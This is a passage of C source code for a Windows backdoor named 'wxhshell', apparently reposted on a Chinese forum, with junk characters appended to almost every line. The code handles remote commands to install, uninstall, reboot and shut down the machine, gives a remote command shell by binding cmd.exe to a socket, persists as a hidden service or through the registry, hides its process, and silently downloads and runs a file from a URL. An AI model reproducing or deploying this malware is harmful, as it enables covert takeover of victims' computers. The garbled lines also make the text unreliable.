  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ErB6fl  
  } ~u%9@}Oo>  
  else { @z dmB~C  
$+JaEF`8  
    switch(cmd[0]) { :Iwe>;}  
  XpOsnvW  
  // 帮助 PKdM-R'Z  
  case '?': { *KxV;H8/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }E8 Y,;fTD  
    break; Jd1eOeS  
  } D6bCC; h=  
  // 安装 'ycs{}'  
  case 'i': { `{F8#    
    if(Install()) z(1h^.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CN brXN  
    else n{Jvx>);  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AP3SOT3I  
    break; ?_\Hv@t;  
    } 76=uk!#3{  
  // 卸载 ixiRFBUcF~  
  case 'r': { R(pvUm& L  
    if(Uninstall()) |[!xLqG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r1&zw(  
    else |V!A!tB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,dBtj8=  
    break; s.zH.q,  
    } !6<2JNf  
  // 显示 wxhshell 所在路径 ^N Et{]x  
  case 'p': { ]o,)#/' $  
    char svExeFile[MAX_PATH]; aM?7'8/  
    strcpy(svExeFile,"\n\r"); X:8=jHkz  
      strcat(svExeFile,ExeFile); J_rCo4}  
        send(wsh,svExeFile,strlen(svExeFile),0); EF)kYz!@  
    break; c~R ElL  
    } \FVR'A1  
  // 重启 =\X<UA}  
  case 'b': { oH6(Lq'q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2U~oWg2P  
    if(Boot(REBOOT)) lt,x(2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s)/i_Oe$\  
    else { .vpQ3m>  
    closesocket(wsh); n )`*{uv$  
    ExitThread(0); {j:{wW.  
    }  Kn\Oj=4  
    break; 8l!S<RA  
    } L>@0Nne7  
  // 关机 4 Iy\   
  case 'd': {  J|6aa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6_zL#7E'  
    if(Boot(SHUTDOWN)) `;cKN)Xk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qt>yRt  
    else { 8VMq>-  
    closesocket(wsh); .V/TVz!b  
    ExitThread(0); ^o?.Rph|i]  
    } 8{?Oi'-|0  
    break; D*D83z OzN  
    } Ih,~h[  
  // 获取shell C:4h  
  case 's': { <PV @JJ"  
    CmdShell(wsh); 3%<ia$  
    closesocket(wsh); lZn <v'y  
    ExitThread(0); qY14LdC}~  
    break; {R1jysG tD  
  } Z8'uZ#=Yw  
  // 退出 m"U\;Mw?  
  case 'x': { S'3l<sY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zI7-xqZ  
    CloseIt(wsh); 1/le%}mK  
    break; mi97$Cr2  
    } ,dh*GJ{5  
  // 离开 PjsQ+5[>  
  case 'q': { _V8pDcY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1Ll@ ocE  
    closesocket(wsh); 9^ mrsj  
    WSACleanup(); f0wQn09  
    exit(1); v`Sllv5bV  
    break; x]a>Q),  
        } \n<N>j@3  
  } MHxv@1)K|Y  
  } I9>1WT<Yy  
5[/ *UtB  
  // 提示信息 Y=}b/[s6;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t}'Oh}CG  
} <7TpC@"/g  
  } pOH_ CXw  
kk!}mbA_}  
  return; 2^qY, dL  
} u :m]-'  
Q3oVl^q  
// shell模块句柄 ?'h@!F%R'  
int CmdShell(SOCKET sock) 1L &_3}  
{ :1.$7W t  
STARTUPINFO si; /3+7a\|mKr  
ZeroMemory(&si,sizeof(si)); vNJ!i\bX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 37lmB '~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oz[E>%  
PROCESS_INFORMATION ProcessInfo; YToRG7X#  
char cmdline[]="cmd"; $,h*xb.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VnIJ$5Y  
  return 0; q~l&EH0  
} .}CP Z3y  
IS'=%qhC`  
// 自身启动模式 ;'vY^I8-L  
int StartFromService(void) 1Z`<HW"  
{ ~Dkje  
typedef struct >Y{.)QS  
{ IS!B$  
  DWORD ExitStatus; *y N,e.t  
  DWORD PebBaseAddress; 7 v`Y*D  
  DWORD AffinityMask; $f C=v  
  DWORD BasePriority; 'M G)noN5  
  ULONG UniqueProcessId; :&TOQ<vM  
  ULONG InheritedFromUniqueProcessId; k# &y  
}   PROCESS_BASIC_INFORMATION; XM8C{I1  
L"('gc!W  
PROCNTQSIP NtQueryInformationProcess; gL}K84T$S  
LClPAbr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?}lCS7&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =|?w<qc  
?,s{M^sj^  
  HANDLE             hProcess; &OuyjW4  
  PROCESS_BASIC_INFORMATION pbi; uMqo)J@s  
jRq>Sz{8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BHFWig*{  
  if(NULL == hInst ) return 0; 7i/?+|  
(mza&WF7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J-I7K !B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L'[ '7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dmE-W S  
W:0@m^r  
  if (!NtQueryInformationProcess) return 0; f#^%\K:YYR  
M{z+=c&w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *M KVm)Iv  
  if(!hProcess) return 0; YR[Ii?  
,L_p"A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q+LjWZ+O  
JQbI^ef_;  
  CloseHandle(hProcess); +F67g00T|  
OjZ+gl}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v3aiX  
if(hProcess==NULL) return 0; Wxp^*._q3I  
VMtR4!:q  
HMODULE hMod; t/q\Ne\\,  
char procName[255]; }b,a*4pN  
unsigned long cbNeeded; nre8 F  
Grw_SVa^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ; G E0iSC  
L@[bgN`=v  
  CloseHandle(hProcess); 1` 9/[2z  
rVf`wJ6b  
if(strstr(procName,"services")) return 1; // 以服务启动 $1UN?(r  
w1s#8:  
  return 0; // 注册表启动 Dy8Go4  
} mXa1SZnE   
du47la 3  
// 主模块 tpCEWdn5  
int StartWxhshell(LPSTR lpCmdLine) *4.f*3*  
{ eH1Y!&`  
  SOCKET wsl; 2gFQHV  
BOOL val=TRUE; J/ rQ42d  
  int port=0; uHwuw_eK`  
  struct sockaddr_in door; My5X%)T>P  
LFh(. }  
  if(wscfg.ws_autoins) Install(); FiFZM  
E>7%/TIl  
port=atoi(lpCmdLine); %0"o(y+zt  
RNIfw1R  
if(port<=0) port=wscfg.ws_port; Y4b"(ZhM_  
sQt@B#;  
  WSADATA data; 2f~s$I&l#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8@Y@5)Oc  
9N u;0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bg 7b!t1F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g[Yok` e[  
  door.sin_family = AF_INET; geT<vh Z6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UB(8N7_/  
  door.sin_port = htons(port); r4_ c~\jH  
~%GUc ~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !X#=Pt[,  
closesocket(wsl); U>:p`@  
return 1; A}oR,$D-  
} cvc.-7IO  
B|!YGf L  
  if(listen(wsl,2) == INVALID_SOCKET) { i2swots  
closesocket(wsl); h3JIiwv0!  
return 1; `Y+p7*Qr2  
} eJ?SLMLY  
  Wxhshell(wsl); 9]kWM]B)o  
  WSACleanup(); )DoY*'Cl  
/j.V0%  
return 0; ?{^T&<18t  
."=Bx2  
} BfhOe~+i  
Ak4iG2  
// 以NT服务方式启动 tp0^%!*9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qKWkgackP  
{ {zg}KiNDZd  
DWORD   status = 0; ;,9|;)U?u  
  DWORD   specificError = 0xfffffff; iaPY>EP1  
6idYz"P %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NEK;'"  ~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v|n.AGn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zb}=?fcL;@  
  serviceStatus.dwWin32ExitCode     = 0; ~omX(kPzK  
  serviceStatus.dwServiceSpecificExitCode = 0; ^yBx.GrQc  
  serviceStatus.dwCheckPoint       = 0; D4 e)v%  
  serviceStatus.dwWaitHint       = 0; LeO5BmwHR  
}.e*=/"MB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\2cAW5  
  if (hServiceStatusHandle==0) return; bD49$N?>  
u6|7P<HUfb  
status = GetLastError(); "esV#%:#J  
  if (status!=NO_ERROR) iUSs)[]H>  
{ f$/Daq <M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; < v0 d8  
    serviceStatus.dwCheckPoint       = 0; :a`l_RMU  
    serviceStatus.dwWaitHint       = 0; YMm Fpy  
    serviceStatus.dwWin32ExitCode     = status; =FdS'<GM  
    serviceStatus.dwServiceSpecificExitCode = specificError; S* <: He&1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oBIKt S*L  
    return; ~9x$tb x-  
  } (8{h I  
t'7)aJMP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; = "Dmfy7  
  serviceStatus.dwCheckPoint       = 0; n {^D_S  
  serviceStatus.dwWaitHint       = 0; ;2& (]1X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $'kIo*cZ  
}  E#ti  
m-ZVlj  
// 处理NT服务事件,比如:启动、停止 fq\E$'o$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $g#%  
{ &4p:2,|r9  
switch(fdwControl) {t9'8R3  
{ @'~v~3 $S  
case SERVICE_CONTROL_STOP: @XB/9!  
  serviceStatus.dwWin32ExitCode = 0; c 8E&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vE&  
  serviceStatus.dwCheckPoint   = 0; ?1?m4i  
  serviceStatus.dwWaitHint     = 0; T4w`I;&v  
  { ? NVN&zD]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {fk'g(E8([  
  } p?5`+Z  
  return; E+[K?W5  
case SERVICE_CONTROL_PAUSE: L# (o(4g2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G9^!= v@  
  break; X@ jml$;$  
case SERVICE_CONTROL_CONTINUE: [ tm J6^s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jfo#IRC  
  break; *`mwm:4  
case SERVICE_CONTROL_INTERROGATE: R%54!f0 %  
  break; Hz+edM UL  
}; H@ MUzV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oGXT,38*  
} s6!aGZ  
3X%>xUI  
// 标准应用程序主函数 9<,\ +}^{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %0=|WnF-  
{ }0c'hWMZ}  
;pS Wu9  
// 获取操作系统版本 >CNH=  
OsIsNt=GetOsVer(); 42X[Huy]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2z&HT SI  
QnVYZUgJeV  
  // 从命令行安装 \vojF\  
  if(strpbrk(lpCmdLine,"iI")) Install(); \%rX~UhZ=  
9?@M Zh  
  // 下载执行文件 sIg{a( 1/  
if(wscfg.ws_downexe) { q[7C,o>/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zjB8~ku#  
  WinExec(wscfg.ws_filenam,SW_HIDE); dN;C-XF3s  
} &5c)qap;n  
WVp14Z?k  
if(!OsIsNt) { qKZ~)B j  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bo)w#X  
HideProc(); O`Nzn~),x  
StartWxhshell(lpCmdLine); \JN?3}_J  
} zTm&m#){3A  
else <5?.S{Z9  
  if(StartFromService()) m03;'Nj'7#  
  // 以服务方式启动 AfFF u\  
  StartServiceCtrlDispatcher(DispatchTable); _Su$oOy(Ea  
else 8^^Xr  
  // 普通方式启动 #k5Nnv#(J  
  StartWxhshell(lpCmdLine); w}YO+  
x4R[Q&:M  
return 0; U $e-e/  
}
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只看该作者 1 发表于: 2006-10-10
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